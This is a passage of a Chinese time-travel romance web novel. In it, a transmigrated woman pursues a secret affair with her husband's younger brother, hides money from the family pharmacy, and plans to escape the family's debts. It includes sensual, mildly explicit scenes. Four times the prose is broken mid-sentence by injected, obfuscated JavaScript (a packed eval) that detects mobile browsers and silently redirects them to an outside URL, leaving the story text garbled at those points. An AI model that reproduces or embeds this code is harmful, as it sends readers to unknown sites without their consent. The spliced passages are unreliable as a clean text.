后面几声“嫂嫂”已经分不清是呓语,还是什么,李延从小生活在父亲的威严荒唐之下,做不好都是掌嘴暴打,这回杨千里的举动倒正中下怀了。 “嫂嫂会供你读书的,会一直站在你身边,” 他有几分发痴,几分颤栗,这个温暖的怀抱他好像盼了好多年了,母亲从来只爱着那个男人,不管那个男人欠下多少债务,殴打子嗣多少次,都会爱他,他也知道母亲快要回来了,要是被撞破会被骂不耻,可嫂嫂第一次不主动相离,他真是不想放手。 杨千里又说:“李延,嫂嫂往后若无去处,你可得帮嫂嫂。” “李延自然是要帮嫂嫂。” 掐着时间,杨千里还是走了,没撞见王氏。 这些时日,店里的生意依旧向上,太平之下,这对叔嫂会交换眼神,扣下一点铜板,可以说是逃远小镇的盘缠,也可以说是供李延读书的经费。 禁忌的关系往往会让人猎奇,刺激赋予了想象力,有时候连杨千里都分不清这是不是情爱,要不要就这样和李延下去。 李善早出晚归,李延胆子也就越来越大,大到白天刚从私塾回来,就进到哥嫂的房间,自然而然地推开门,目不转睛地盯着他美丽大方的嫂嫂换衣服。 杨千里说不上反感,在她眼里就像是现代自由恋爱一样,只是急急地穿上了衣裳,问李延:“上次要你帮我查户籍的事,你那个家里在衙门当差的朋友愿意帮忙吗?” 这是她们之间的交换,杨千里同他藏钱,他就帮她搞定落户。 “嫂嫂,王先生他答应了。”李延讨赏似的坐到了床上,和她贴很近。 张海一直在私塾里传他和自家嫂子有染,传嫂嫂是个来路不明的狐媚,他倒是没有向往常一样抬不起头,因为嫂嫂要他搞好关系帮忙,只要真瞧上她嫂嫂眼里的温柔善良,就知道一切都是谣传,嫂嫂哪里是妖,是书里的仙子。 李延撩着她的头发,越界的举动没有继续,他还算有良知,知道这是他嫂子,兄长之妻。 “王先生答应了?”已经过去三个月了,离收债务的上门还有三个月,杨千里说不上欣喜,出逃了又不知道自己的一技之长,她之前在现代就是个小文员,真的要陪李延考取功名吗? 李延以为是她没听清,又重复了一遍“先生答应了”,口中含混不清的样子逗得杨千里笑,她重新看向少年,如今清朗俊目,温文尔雅的样子真是讨她喜欢,李延又像是恋爱中的小狗,羞答答,一呼百应。 要是现代,这种好皮囊的男人恐怕都不会正眼瞧她。 “李延,你想要什么奖励?” “嫂嫂,别。”李延本就是未经人事的雏儿,被她直勾勾盯着只觉面热。 叔嫂避嫌,恪守礼教是常识,但杨千里自认从来都没爱过李善,想要拉李延更上贼船,这层窗户纸也只能她捅破,“你还记得之前你母亲让我嫁到李家那个晚上吗?我当时选的是你啊李延,一直都是。” 李延捂着沸腾的心口,全然不敢看她,她却偏偏扶着他的肩膀,让他撞上她那一双清丽透亮的杏眼,听她说:“你看着我的眼睛,我什么时候骗过你?” 是杨千里主动拉着他,是杨千里没提叔嫂的越界。 发乎情,止乎礼。当即就成了读书人的笑话,李延叩下头来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846946|211756||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 唇角相贴,几乎是咬舌的痴迷。 “千里,我不要你做我嫂嫂。” “我在,至少现在不是。” 书里的意乱情迷也不过如此,李延贴着唇瓣,再是下移到杨千里的脖颈,每处舔舐着,沉醉于这日思夜想的女儿香。 杨千里也搂着他的脖子,亲了上去,直到两个人喘不过气。 李延年轻气盛,被这么引导也就一发不可收拾,他拉着杨千里的手向下,指着他难受的地方,哽咽一声:“难受,千里我这里难受。” 隔着衣物都能看出,杨千里只觉得这李延好笑,被他拉着手腕,也没打算帮他,甚至打掉他的手。 李延骗不到嫂嫂,嫂嫂没他想的那么单纯,可出格的样子也令他痴狂,他不甘心但也只能自己上手,在她面前讨个乖巧的样子。 杨千里见他手背逐渐起青筋,就使坏抚上他的手腕口:“不急不急。” 李延气息更加紊乱。 二人还没来得及继续调情,屋外就传来了拉大门门闩的声音,如果是王氏这会儿已经抱怨连天,听着越来越近的脚步,杨千里眼皮直跳,心道不好。 李延表情慌乱,就被急匆匆赶到了床下,甚至裤子都还没来得及提起,只床单遮个半掩。 这李善打开屋门,来得属实突然,杨千里心有余悸,尴尬地理了理发丝,问:“李……相公,你怎么回来了?” 李善相貌周正,笑起来善目,轻轻地走过来,又让杨千里松了口气。 他:“自然是能早些回来就早一些,最近山里入秋,那些猛兽也出得紧了。娘子,最近我听坊间说,你有一片好心肠,帮乞儿取药?” 杨千里皱眉想着,难道是兴师问罪的,不过比起叔嫂厮混,问题不大,干脆认了下来:“确实,那妇人看着太可怜了,你要是想骂我败家,便骂吧。” “怎么会?”李善好脾气地笑着,这些时日他听来的流言也是不少,有上赶着说他娘子是妖怪的,但他又不傻,娘子能干又心地善良,想来也是不好受。 他走近了些,坐到了杨千里右手边,和他弟选的相反位置。 杨千里摸着刚刚被李延坐过的余温,暗暗松了口气,还好李善选的另一边。 她表情还没配合着郎情妾意变柔,李善就伸出手,从袖子里拿出一枝簪子,插在了她发髻上。 李善解释:“这是骨簪,认识的猎户家高娘子那儿买的,说是羊骨,新婚那夜,我见娘子头上没有发饰,想着女儿家都是爱美的,这骨簪虽然不贵但通体雪白,想着适合你,就买来送予你了。” 杨千里笑着应答:“我很喜欢。” 那床下的李延就有些按捺不住,去抓她垂在床下的脚后跟,泄愤般地勾了勾她的布鞋。 杨千里也不能明目张胆地瞧下去,一边哄着李善:“日子会过好的,我有你这么好的人。” 一边踹李延不甚安分的手。 李延手骨被踩得又酸又疼,才找回了理智,他真的好恨那个随时能向嫂子嘘寒问暖的兄长,可他是他的兄长,一切本就是不能的。 忌羡归忌羡,要是被发现了,他的兄长要是不供他读书了,他可怎么办?千里可怎么办? 而杨千里想着,就算这次没事,下次呢?这叫私通,就算李善一家愿意顶着帽子原谅她,外面随便一把唾沫星子,极刑的律法,也别想活了。 她细想可怕,可走都走到这一步了,总不能真留着帮李家还债吧? 5. 良善 李延在床底,心都要跳到嗓子眼了,一想到刚刚和杨千里那些蜜里调油的举动,那处的滚烫又兴奋地喷涌了上来。 而现在他的兄长没走,李善不知道这禁忌,永远只是他和他嫂嫂的秘密,还有那唇瓣的清香。 杨千里收下了这骨头簪子,其实没什么波澜,任李善表现得多体贴丈夫的样,不给她提一点上户的事,那她和贱籍买来的奴隶就没区别,而她现在偷钱说到底也只是拿回属于自己的工资罢了。 给地主家做长短工都有钱呢,给李家做媳妇就是这么便宜玩意敷衍了。 杨千里避免事多,拉着李善去做晚饭去了,留着李延灰溜溜从床底下爬出来。 ** 王先生,即王有才,私塾有名的教书先生,儒雅的老秀才,两鬓胡须挂起,不惑之年,老丈人在知县手下当差,自己也跟着混得风生水起。 这老秀才考不上举人好多年,后面被丈人逼急了,来这私塾里面上个晚班。 王有才科举不擅,生活倒是过得顺,还有个妹妹,他看不起书堂里这些摇头晃脑的,偏僻小镇的,哪来什么凤凰?不及他当年用功半分。 不过有个李延,个把月变化来得大,勤奋刻苦,又给他端茶递水的,一来二去也就成王有才面上的得意门生。 为什么是面上? 李延长得一表人才,但家里太穷了,王有才或多或少在学堂里面听过他家那些穷酸事,上不了台面的。 李延读书人性子,说话直白,后面端茶的时候乘机问起如何补办户籍,说得隐秘:“先生就帮帮学生这个忙吧。” 王有才被问得烦,手连茶碗都不想端了,但又见着李延递出来一个沉香木手串,色泽光滑亮黑,这是她娘偷偷从被卖的几件传家宝里,截下来留来给他的,李善都没有。 礼物算不得贵重,可就是送在王有才这种读书人心坎上了,雅而不俗,他又接了过去,放手上盘也顺,两只眼珠转了转,想起最近来镇子的流民确实多,补办户籍也容易:“到时候我帮你问问。” 他想:这学生,想来也没什么坏习惯,一片苦心的,帮帮忙也不是不成,毕竟他岳丈就在知县手下办事。 李延喜笑颜开,就走了出去,临了带上了门。 没一会儿,砰砰砰又来人敲门,嚷着嗓子,道:“阿兄,我来了。” 王丽蓉小跑着进来,脸上雀跃不变,问着:“刚刚进兄长屋子里的也是你学生吗?你怎么从来没跟我提过啊?!” 王丽蓉也是少年心动、藏不住事的年纪,只是瞧上李延俊脸一下,再见他礼貌地一鞠,不同于私塾里眼高手低的书生,眉目明秀、谦谦公子的样,顿时就心花怒放了。 王有才:“那人是我一个的学生,名唤李延,你今日怎这么活泼了?” 王丽蓉有些羞涩地转了转鞋尖,说:“你之前不是问我找夫婿的事吗?我瞧着那李延就挺不错,举止也没那么冒失,想认识下。” “不行。”王有才果断地放下茶杯,门外面又摇着折扇,进来个人。 张海上前打个招呼:“王先生,王娘子。” 张海算得王丽蓉追求者,怨气不免上来:“李生可没王娘子所见那么简单,娘子有所不知啊,他在我们私塾里可不太受待见。” “什么?” 张海见丽蓉这么快就心有所属,所属的还是所谓一表人才,他早就厌恶的李延,更是气得牙痒痒。 “先不说他家那无底洞的债务,再说了,张某最近瞧着李生频繁和女子在西街桥头相会,颇有牛郎织女的样子,而且那女子不是别人,是他嫂子。你觉得他是怎么样的人?” 他摇了摇扇子,频繁相会确实没有,但李延名声本来就差。 张海点到为止的话,令旁人遐想连篇。 王丽蓉对这番话也是纠结,毕竟张海之前纠缠过自己,诋毁别的男人符合他作风。 王有才没阻止张海的讲话,虽然知道有些是空头谣言,但总比妹妹看上了个穷小子被吸血来的好。 张海同王丽蓉说完,又跟王有才报完学习上的进度,跟王丽蓉招呼下就走了。 王丽蓉皱着眉头,还是半信半疑的,毕竟比起普通男人的长相,那李延当真美色,“兄长,那张海说的,当真可信?” 王有才:“当然了。一个穷小子能有什么好的,丽蓉你若是选夫婿,还是得按着兄长给你挑的。” 王丽蓉被说得逆反:“那个张海吗?他四下诋毁别人,有什么好的?就因为他是你的学生?” “当然不是他。”张海家虽然也有在衙门里当差的,但不够殷实好看,王有才说:“之前给你介绍那个吴家小儿子不错,吴家百年来的富商名头,有我作引,你嫁过去作正妻,后半辈子也不愁金银了。” “兄长!”王丽蓉被逼急了些,“我喜欢什么人我说了算!” “够了,不要再提了,那药铺的一家的债务还在吴家手里,你觉得该怎么选?”王有才苦口婆心,“最近战乱,外面的流民多你也是知道的,你且多和吴家小儿子接触接触。” 王丽蓉的闹腾作罢,她哥哥所言不错,碰上这破流年,甚至吴家生意都不算好做,最近是提前了好些月去讨债。 ** 店门口又来了个乞丐,已经是这月第四次了,他们大多因杨千里上次传的救人的好名声而来,知道是借钱,可有没说还。 杨千里习以为常地想要驱赶,已经和李延互诉衷肠,也就没必要藏着掖着。 她走上前:“别耽误我们店做生意。” 才强硬地提起一半,面前裹着头巾的瘦弱乞丐,就抬起头来,干涸着一双眼睛,没有被赶走的羞愤,只是疲惫地笑了笑,说:“杨大夫,是我啊,我来还铜板的。” “是你?” 杨千里这下认出来是那天的乞儿,乞丐从衣物里拿出裹了好几层的碎布钱袋,说:“杨大夫,我叫娟儿,给你添麻烦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846947|211756||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 了,虽然不够,但是后面我会慢慢还的。” 杨千里看着娟儿双手奉上的十几枚铜板,说不出什么感觉,这妹妹明明都瘦削成这样了还想着还钱,她上手又把布包好,推了回去,说:“你是傻姑娘吗?有财不外露,拿着这些去吃点面馍,没稳下来就别想着还什么账。” 她做不到那么决绝,这下又想起良知了,虽然说那天是对着李延演戏,但受过十几年教育,看见一个可怜巴巴的姑娘怎么会不同情。 娟儿被她推着收回了手绢,又想着那天沉甸甸的药包,扯了个笑:“杨大夫,你真的很不一样,谢谢您。” 杨千里问:“你那个丈夫?好多了吗?” 眼前的娟儿有些营养不良到让她怀疑年纪,娟儿笑着摇头:“吃了药之后他好就转多了,不过腿上落了病没法走了,所以我才能抽空做点工。” 杨千里了然地点头,又想起了户籍的事,问:“你们是流民吗?最近官府应该在帮着上户对吧?” “对,不过还没到我们。” “你和你丈夫有孩子吗?” “没有。”娟儿下意识摇头,微微的羞赧才符合她现在十五六的样子,她在杨千里眼里实在是太年轻了,甚至是放现代高中都没上的姑娘模样,就去伺候一个腿废的男人。 “你们很熟吗?” “我爹把我嫁给他的,只是没想到遇到了灾害,就逃难了。” 杨千里拐着弯子问:“户籍得办了,钱多攒下,换个大点的地方,学门手艺活吧,你年纪还不大,聪明着。至于你的丈夫……你不会想,帮到这里已经够好了吗?” 娟儿闷了一会儿,也听懂了她的话,颤着反驳:“你是想说我一个人跑了吗?不可能的。” “为什么?” “他不会和我和离的,而且就算我想一个人跑,我手里没有路引,但就是那户籍被查出来,也会被捉拿送回的。而且外面实在是太乱了,要是碰到人牙子可就……” 杨千里沉默,一直以来她都忽略了就算是登记户籍的正妻,是个良民了,可没了文书和夫家的允许,她又能被冠以“弃夫”的名头跑到哪儿去? 还没渡关可能就被拦下来了。 这番话倒是打醒了她,自己对古代的知识储备实在是太浅显了,不过错都错了,那她就顺着改了,现在想来比起户籍,她更缺的其实是钱币。 要是有钱,买通守关的士兵、再买些车马、收打手,想去哪儿就去。 她藏起来说是给李延束脩的钱,就挺合适跑出去的开支,说着可能对不起谁。 娟儿见她发呆,问:“怎么了吗,杨大夫?” 杨千里摇头,娟儿:“那我就先回去了。” 她和娟儿在门口告别,怎么都没想到被王氏瞧个正着,王氏见她和乞丐祥和友好,想起上次街坊所说她败家充当大好人的事,不免勃然大度,冲了上去,问:“你这个败家娘们,又在拿药屋的东西给那些乞丐?” 6. 狐妖 杨千里下意识说:“没有。” “还说没有?”王氏直接扣住了她的手腕,“吃里扒外的,持家都做不好,你以后可怎么教养孩子?” 面对胡搅蛮缠,杨千里有言也说不清:“我刚刚只是同她聊了两下,没白送什么宝贝药材。” 这一幕动静不小,除开看热闹的邻里,出门采买的李氏两兄弟回来也瞧着了,立马上前拉着两人,李善尤其抓着自己母亲的手臂,宽慰:“娘,先别说了。” “有什么不能说的?”王氏听完又是怨气,自己苦苦养大这么个儿居然帮着他媳妇,“我今天偏要讲清透了!” 李善急道:“娘,家丑不可外扬!” 这才给王氏叫醒了,她看着周遭人看戏的样子,一下收敛了脾气,让两个儿子带着进了堂屋。 李延冲杨千里摇了摇头,跟着进去了。 一进去就是王氏劈头盖脸的骂声:“我家的钱是大风刮来的吗?那是我儿子的血汗钱,你倒好胳膊肘往外拐,眼里还有这个家吗?明天是不是连地契都要施舍出去!” 杨千里沉默了,她不知道怎么和这种不讲道理的人吵,反正在对面人眼里吼得越大声越正确呢。 她百无聊赖地挠了挠头发,反正都要跑,先忍忍,问:“说完了吗?” 李善还以为她要在娘面前低头认错,没想到这么口出狂言,感叹她的不省心。 李延这会儿插不上话,王氏也拉不住了。 王氏气得牙痒痒,街上那些流言蜚语,还有目无尊长的都是她杨千里,她倒好,做李家的媳妇又没有媳妇的样子,眼里没有她这个婆婆,没有孝道,满是乡野的粗俗! 她急得抄起地上的扫帚,就要往她身上打,李延劝住:“娘,不要打嫂嫂。” 杨千里倒是一把抓住了扫帚,她不是王氏,自然是不理解她心中所愤怨,她身材在女子中高挑,比起瘦弱不堪的王氏也算结实,捏着扫帚僵持不下,低头直直地看着她问:“你还要打我?我只是想同你说理而已,这么激动干嘛?” 王氏压根扯不动,愤愤地看向她儿子,那眼神像是指示像是责怪,但李善属于夹在中间不是人了。 “娘,我是给一个求药的流民拿过药,不过是借没说不还,而且仅一人而已。” 杨千里总不能站在那里就让这王氏打吧,自己就算没长这么高,连她现代的亲生父母都没让她跪过,这条膝盖也不会便宜了他人。 古代讲究百善孝为先,孝悌也者,其为仁之本也。 她知道说太冲会被按个不孝媳妇的讨打名头,又补充:“娘,那乞儿是为父亲求药,千里见她骨瘦如柴又有此番孝心,不免备受感动,想着娘了。” 李延听完只感慨嫂嫂聪慧,附和道:“是啊娘,嫂嫂一片孝心。” 李善也同意,他忙得不可开交,只想息事宁人,道:“娘,千里还是很能干的,既然已经知晓自己错了,那就让她改吧。” 王氏放下了扫帚,攥紧了拳头,她明明只是搓一搓杨千里的锐气,一个黑户,一个砸死她丈夫的凶手,如今两个儿子却变脸般反水,像是中了什么邪术一样,拥护眼前的女人,难道她真是什么狐媚,专门来搅坏她和睦美满的家庭?! 王氏死死瞪着杨千里。 一双仇恨的眼睛盯得杨千里头皮发麻,她觉得跑路计划要提前了。 ** 这几天,只要她一靠近收银柜台,王氏就像后脑勺长了眼睛或者自始至终都盯着她一样,说:“你不要管账,我怕你再施舍爱心去了。” 李善因为秋末山上采不到什么时令的药材,也留在店里看护。 王氏看向她大儿子,求赞同地说:“你只是一个新妇,李家的钱还是我来操持比较好,至于收账让我儿子来。” 她的心思不难猜,就是不想让杨千里碰钱搞下马威,倒是误打误撞搞停了她拿工资的进度。 李善默许,毕竟杨千里这种脾气确实该服从管教,而且钱在他娘手里,他也放心,不会大手大脚什么的。 李延见剑拔弩张,立刻上去说:“那我来收账吧,我读书的,记账快。” 王氏立马喜笑颜开:“当然了,你们读书人嘛,我们这种妇道人家就不掺和了。” 几个人你一眼我一语,就把杨千里在这个家的分工给规划好了,她没说话,如果是现代她就大吵起来了,但古代父权在这,她真怕李延找几个人来揍她。 杨千里不免摇头,忍一时海阔天空,还好李延这小子抖机灵,进度才得以继续。 以前忙,李家也不让她多外出,她现在闲着就往外面摊贩逛,和别人唠嗑。 邻里摊贩那都是实打实嘴过她好些次的,这下遇到真人,多少有些避之不及的尴尬,手上没活也得忙装打理,杨千里也对自己的名声有了真切的感受,怪不得那王氏后来会突然变脸。 她洋溢起笑,和一个卖臭豆腐的婶子聊了起来,那婶子姓刘,平日里因为小摊臭也没几个人想上去沾味道,这下来了个姑娘跟着她聊天也是高兴。 她放下手里炸豆腐的钳子,和她聊了起来:“怎么平日里没见过你啊?” 杨千里说:“我是远嫁,之前腿脚有些不便,人生地不熟的也就很少出门。这下好多了,才想着出来的。刘婶,你这臭豆腐看着真好吃啊,这是干了很多年吧。” “哎哟,确实啊,不多不少有十年了吧。”刘婶子有些骄傲,不过表情很快就消沉下去,“我手艺是不错啊,不过吃的人,懂的人是越来越少了。” 杨千里疑惑:“是因为外面的战乱吧?”前线战事吃紧,后方就疯狂收税纳粮,老百姓就只能节衣缩食。 “我听他们说,是九尾狐现世,天下大乱,那狐妖专门带着动乱灾厄来扰乱人间的。” 刘婶子说得玄乎其玄,小心翼翼地凑过来讲。 杨千里只觉得这些人还挺会瞎传的,要是真有什么狐狸大妖了,那她从天而降,岂不是什么神女?做完任务了还能回舒服的老家? 她捧场:“狐妖的话?那不是还吃人吗?方圆几里的人都没了,那谁报的信啊?” 刘婶子撸起袖子,被问到心坎上了:“那你就不知道了吧?皇帝身边都有天师什么的,我们这儿算命的神棍可不能比。人家天师在紫禁城掐指一算,就算方圆万里,都能晓得哪儿有妖怪。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846948|211756||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 说得畅快,杨千里也听得聚精会神,又听她勾手指补充:“而且啊,离我们不远那个启林城不就有妖怪吗?” “启林城,妖怪?什么时候的事啊?” 这会儿挤来一个壮实的男人,朴素的打扮,胡子拉碴,嘴里还咬着蒜瓣,熟稔地插话,瞧着是刘婶子的丈夫,问:“启林城的事你都不知道?” 刘大伯游手好闲,一脸得意地拍拍胸脯,说:“那你该问我,我保证比说书的都说得好。” 杨千里拍着胸口,假装被吓得倒退几步:“当真有妖怪吗?婶子、大伯,你们别吓我啊。” 刘婶子拍她肩膀,说:“怕什么?就算有,也被天师收了。” 两口子这是讲述欲来了。 “几个月前咯,启林城来了个绝色的画师娘子,丹青美甚,不过一月,她的画就炙手可热,但与此同时多了好几桩命案,死的那些男子身份显赫,生前也都追求过那娘子,死后心脏被掏了窟窿,极惨。” “后来,官府觉得蹊跷,派人去那画师小院,他们本来觉得那娘子柔弱,想草草了之,结果夜半就瞧着了那画师对着月亮变了狐狸。” “啊?抓到了吗?” “我能同你讲,自然是人赃俱获、已经捉拿归案了。”刘大伯继续往嘴里喂着蒜瓣。 听完,杨千里只觉得疑惑,问:“她……真是妖怪吗?倒像弱女子。” 就算有妖怪,让衙门的看见了,这么简单就被捉拿去了?那些骚扰画师的显赫男子,身边都跟着家丁高手,却都没被抓着。 倒像是一个无亲无故的弱女子被按头栽赃,还加了妖魔化的丑名。 “柔弱都是表面,毕竟勾那些男人喜欢的妖怪,怎么会不知道男人喜好?我们对上它,甚至连雌雄,品种都能被骗。”刘大伯对这些鬼怪传言很信。 杨千里也不知故事真假,就没细想了:“嗯。” 刘婶子说:“都怪这些臭妖怪,让我们老百姓不好过,听我姑父那边说放债的吴家都动了,管它欠多久的,先把本金给要回去。” 杨千里点头,觉得自己还是得多囤点盘缠再跑:“哎,这世道不好过啊。” 李家的债务现在就剩两月,帮李家还债就是杯水车薪,就算做到了,按李善王氏一毛不拔的性格,估计就把她离了,再谈另娶。 旁有来了别摊的人,去到刘大伯面前,左盯右盯杨千里,假意闲谈,问刘大伯:“你们两口子和李家的娘子很熟吗?” “李家娘子?”刘婶子疑惑,杨千里和她交谈时只提及自己姓杨。 那人点头,不怀好意地提醒:“就是那个李氏药铺啊。” 刘家夫妇立刻会意,这不就是之前听过的,镇上的妖怪媳妇吗? 两人神色难堪,毕竟刚刚还聊得不错的人,居然就是传言里的妖怪。 提醒的人自认好意地瞧着两心直口快的夫妇,想见他们排斥驱赶。 杨千里无奈叹气,比起他们左右为难,她自己倒是先作别:“今日就先不叨扰了,婶子,大伯。” 这名声真的太烂了,身后跟着很多双瞧她如妖异的眼睛,也不知这谣言是不是对应上了那画师娘子? 7. 判断 外面战乱,流民带着病来,城内换季的疫病爆增,虽然这么说不道德,但药铺来往人多了,忙不过来,营收也就更好看了。 杨千里近不了账本,因为王氏看着,就拜托着李延给自己讲着。 两人乘着家里没人,在李延书房里约着会面,桌上一盘青枣,杨千里撑着下巴听他说:“这会儿纯利这月有赚十五贯钱。” 一贯一千钱。 杨千里不惊讶,之前也是这数,甚至她瞒着李延每月多藏了一贯钱,说:“这么多?” “是啊,不过我这个月藏了三贯钱,账上面写的十二贯钱。”他继续算:“娘每月管着家里吃食,会拿两贯钱,最后是十贯钱。” 杨千里放了个青枣到嘴里,说:“这药铺还挺能营收的。” 一个月十贯钱,六个月就是六十贯钱,还债只收地契,那就是三十贯钱,药材贱卖的话也有十贯钱。 加着有一百贯钱。 她咬开青枣的脆甜,一边吃,一边发问:“公公到底是欠了多少啊?” “七十贯。”李延比了个数,唉声叹气完,又捶打桌面泄愤般地说,“本来算着是能还完的,可那个吴家翻脸来收天价的利息!一个月就多七贯钱,等我们知道我爹的荒唐债的时候,已经欠了一百五十贯钱了。” “这……”杨千里叹气。 这边苦工一月才三四贯钱,他们家还算体面的营生就这么被好赌爹给毁了。 “嫂嫂不气,现在万事有我。”李延又从书桌前拿来一卷纸,上面涂涂画画,字体规整但沾着墨点,俨然一张地图。 杨千里两眼放光,站起来瞧,问:“你画的吗?” 李延不好意思地挠头,说:“我之前从王先生那有瞧,想着要是出逃会用上,就凭记忆临摹了下来。” 李延记忆超群,除了边界线不规整点,连小县都标了上去。 他们这个朝代叫梁朝,是个架空的国度,地图很像唐宋时期。 目前杨千里方位在北方,她指着大大的益州、荆州、扬州,看过三国的这些州都是老熟人,认真地分析:“荆州自古兵家必争之地,繁华多,战乱也多,不行。” 她喃喃:“这个益州,巴郡?” 李延两眼一亮,没想到他嫂嫂还懂这些,颇有寻到知己的兴奋,说:“益州确实不错,人杰地灵,天府宝地。” “不行不行,蛮夷之地。”杨千里直摇头,她自己就是四川人,那里虽然好,但往日不同现代。 李白都说,蜀道难,难于上青天,她们在那边没乡绅亲戚,关口又险峻,没了高铁飞机,不全是猛虎长蛇? 到时别还没进关口,裤兜就见底了。 只剩下扬州了,她虽然历史不好,但看这块靠海和名气也不难猜出扬州商贾多,尤其是盐商。 “扬州有盐商就有稳定,盐为公家物,不会允许私制,商多估计压榨也多啊。”她很是犹豫,管制严,要是被发现出逃怎么办? 李延看出了她的疑虑,又递上青枣给她吃,说:“嫂嫂,不必怕。驻军虽然多,但这么多年也属扬州最太平。而且人本来就是变通的,管制严只要我们不作奸犯科,都没那么可怕。” 他才说几句就免不得幻想,哪个读书人对下江南没有过憧憬,说:“江南水乡隽秀,烟雨入画来,诗情画意得很。” 杨千里叹气,更多的是想她带上李延跑,不仅束脩不够,恐怕盘缠都够呛,也没什么亲戚可以投奔的。 她真是后怕,就算路上没遇什么强盗,到了繁荣的扬州,也不知钱够不够花。 李延也是少年气盛,为爱上头,真想和她一起鸳鸯双飞,私奔去了,两个人离了钱就只能靠身体还年轻,干点苦力。 她越想越糟糕,虽然留在这儿帮李家还债也糟糕。这还能让她穿越回现代吗? 少年注意到杨千里的失落,搭在她的手背,安抚般地摩挲,道:“嫂……千里,别怕,我会读书考取功名,就近的话,我考个秀才,到时候在扬州安顿下来,当个教书先生也不会让你过苦日子的。” 杨千里有些好笑地说:“我也识字,到时候我去问问有没有看字的差事。” “是了,千里的见识不比私塾那些人差。”李延这会儿瞧人,眸若含情,波光流转地对生活说不出的期待,没真正生活管事的,自然只剩对方低垂下的乌发。 “户籍也快办下来了,到时候千里你再和我去扬州……登记新婚夫妻,好吗?虽然没有八抬大轿,但我许你朱冠霓裳。” 不一会儿,他脸上就烧起来,耳垂那块也红润得不像话,平日里俊美得只可观赏的脸,真想让人上手调戏。 杨千里伸出手,食指刚好点在他滚烫的脸颊:“我没说好,你就自说自话上了,你怎么跟你嫂嫂说话呢。” “千…千里,休要再挑逗我了。”李延说话像咬着舌头,直接抓着她的手,贴在了自己脸上消火,冰冰凉,恰恰好。 “怎么就不敢看我了?怕我不愿意?” “当然敢看。”李延又盯回去,心跳快,意绵绵,问:“千里,你当真不愿意同我成婚?明明你那天就是选的我,不是李善。” 杨千里垫起脚尖,迎着他的唇蜻蜓点水般地一点,问:“现在呢?你还觉得我不愿意吗?” 李延回想,新婚那日,她朱唇半露,他牵手作送亲,就隔几步,原以为是抱憾一生的距离,可没想到最后嫂嫂竟心属了他。 他拥抱了上去,埋进她颈窝嗅着发香,一切仿佛回到那日灵堂,他被女人目光炯炯地瞧着,她身世来历明明那么神秘危险,可就是引着他偏离守矩乏味的生活,甚至不顾深渊与否,只享受温柔的怀抱。 “千里既然是选了我,那就只有我,要同我兄长保持些距离,悄无声息。” “当然了。”清瘦少年垂在自己肩膀上,杨千里轻拍他背部,哄着。 虽然她也享受和小帅哥的独处时间,但王氏最近看她这么紧,多少还是推开了李延,问:“李延,最近讨债的动作很快,我估计我们等不到最后一个月来,就得走了。户籍的事,还是早些办下来。” 李延被推开了怀抱,手上有些空落落的:“好,到时候你说要走我们就走。” ** 街上玩乐的少了,店铺都跟着提前关门,老板还拍拍锁,确保结实。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846949|211756||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 今天的药铺格外地冷清,杨千里就乘着闲走出去逛,没了旁人的玩味纷扰,耳根子是清净些,明明没有风,背后却凉飕飕的。 她在拐角的巷子遇到了娟儿,娟儿埋着头,手里用力捧着东西贴着墙壁挪,看不出情绪,但瘦弱的身形让人一眼认出。 杨千里有些不解,问:“娟儿,你最近这是怎么了?” 娟儿这下抬头,她脸上被涂得脏兮兮,牙上涂了草木灰,但能看出面色饱满多了,有些雀跃地说:“杨大夫,没想到能遇到你?最近镇上面来了手脚不干净的,帮主叫我们干事都小心些。” “什么手脚不干净的?能跟我说说吗?” 看恩人一脸事外的样子,娟儿压低声音:“最近城东那个吴老爷,为了提前收债。从外面带了帮凶悍勾当的人,还不上钱的,连地契都拿来抵了。” “提前收债?还有这说法?” “北边战乱卷过来,大家都拿不出钱了,我听帮主说那个吴老爷就是趁火打劫。”娟儿愤道。 趁乱把地契收过来,民众没了吃饭的本事又会拉着脸皮,去租回来,就平白无故拿了两份钱。 